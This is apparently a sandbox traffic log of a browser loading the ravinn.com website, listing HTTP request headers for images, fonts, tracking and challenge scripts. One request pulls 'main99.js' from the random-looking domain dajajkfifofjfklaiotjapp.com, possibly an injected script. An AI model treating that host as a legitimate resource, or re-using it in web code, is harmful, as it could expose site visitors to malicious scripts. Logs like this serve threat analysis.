Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 HTTP/1.1Host: static-tracking.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo2.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/webfonts/fa-solid-900.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/webfonts/fa-brands-400.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/static.4b8f99d71b7685ee4f53.js?cb=1 HTTP/1.1Host: static-tracking.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo5-e1701428252408.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /main99.js HTTP/1.1Host: dajajkfifofjfklaiotjapp.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/runtime.d6f8c2852d4e7a72345c.js?cb=1 HTTP/1.1Host: static.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/Data3.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo3.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/AITC.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/logo.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/sharedUtils.db6638454dfe7d02bbcd.js?cb=1 HTTP/1.1Host: static.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/About-Ravinn.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Team.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo2.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/044-R141223.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/Data3.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo3.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Latest.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/AITC.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/australia.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2025/03/VEC_logo_RGB.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/logo.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/veterans.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/12/strategy.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Incident-Response.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Ravinn-desktop-1600x800-1.mp4 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, *;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://www.ravinn.com/Accept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==Range: bytes=0-
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/cropped-favicon-32x32.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; 